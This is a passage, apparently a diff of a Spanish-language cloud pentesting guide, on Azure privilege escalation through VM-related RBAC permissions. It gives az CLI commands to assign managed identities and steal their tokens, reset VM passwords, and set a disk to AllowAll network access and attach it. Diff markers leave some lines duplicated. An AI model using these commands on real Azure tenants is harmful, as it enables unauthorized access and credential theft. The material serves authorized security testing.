### `Microsoft.Resources/deployments/write`, `Microsoft.Network/virtualNetworks/write`, `Microsoft.Network/networkSecurityGroups/write`, `Microsoft.Network/networkSecurityGroups/join/action`, `Microsoft.Network/publicIPAddresses/write`, `Microsoft.Network/publicIPAddresses/join/action`, `Microsoft.Network/networkInterfaces/write`, `Microsoft.Compute/virtualMachines/write, Microsoft.Network/virtualNetworks/subnets/join/action`, `Microsoft.Network/networkInterfaces/join/action`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
Todos estos son los permisos necesarios para **crear una VM con una identidad administrada específica** y dejar un **puerto abierto** (22 en este caso). Esto permite a un usuario crear una VM y conectarse a ella y **robar tokens de identidad administrada** para escalar privilegios a ella.
@@ -343,13 +343,13 @@ az vm identity assign \
/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity1 \
/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity2
```
Entonces, el atacante necesita haber **comprometido de alguna manera la VM** para robar tokens de las identidades administradas asignadas. Consulta **más información en**:
Luego, el atacante necesita haber **comprometido de alguna manera la VM** para robar tokens de las identidades administradas asignadas. Consulta **más información en**:
{{#ref}}
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#azure-vm
{{#endref}}
### "Microsoft.Compute/virtualMachines/read","Microsoft.Compute/virtualMachines/write","Microsoft.Compute/virtualMachines/extensions/read","Microsoft.Compute/virtualMachines/extensions/write"
### Microsoft.Compute/virtualMachines/read, Microsoft.Compute/virtualMachines/write, Microsoft.Compute/virtualMachines/extensions/read, Microsoft.Compute/virtualMachines/extensions/write
Estos permisos permiten cambiar el usuario y la contraseña de la máquina virtual para acceder a ella:
```bash
@@ -359,6 +359,22 @@ az vm user update \
--username <USERNAME> \
--password <NEW_PASSWORD>
```
### Microsoft.Compute/virtualMachines/write, "Microsoft.Compute/virtualMachines/read", "Microsoft.Compute/disks/read", "Microsoft.Network/networkInterfaces/read", "Microsoft.Network/networkInterfaces/join/action", "Microsoft.Compute/disks/write".
Estos permisos te permiten gestionar discos e interfaces de red, y te habilitan para adjuntar un disco a una máquina virtual.
```bash
# Update the disk's network access policy
az disk update \
--name <disk-name> \
--resource-group <resource-group-name> \
--network-access-policy AllowAll
# Attach the disk to a virtual machine
az vm disk attach \
--vm-name <vm-name> \
--resource-group <resource-group-name> \
--name <disk-name>
```
### TODO: Microsoft.Compute/virtualMachines/WACloginAsAdmin/action
Según la [**documentación**](https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/compute#microsoftcompute), este permiso te permite gestionar el sistema operativo de tu recurso a través de Windows Admin Center como administrador. Así que parece que esto da acceso al WAC para controlar las VMs...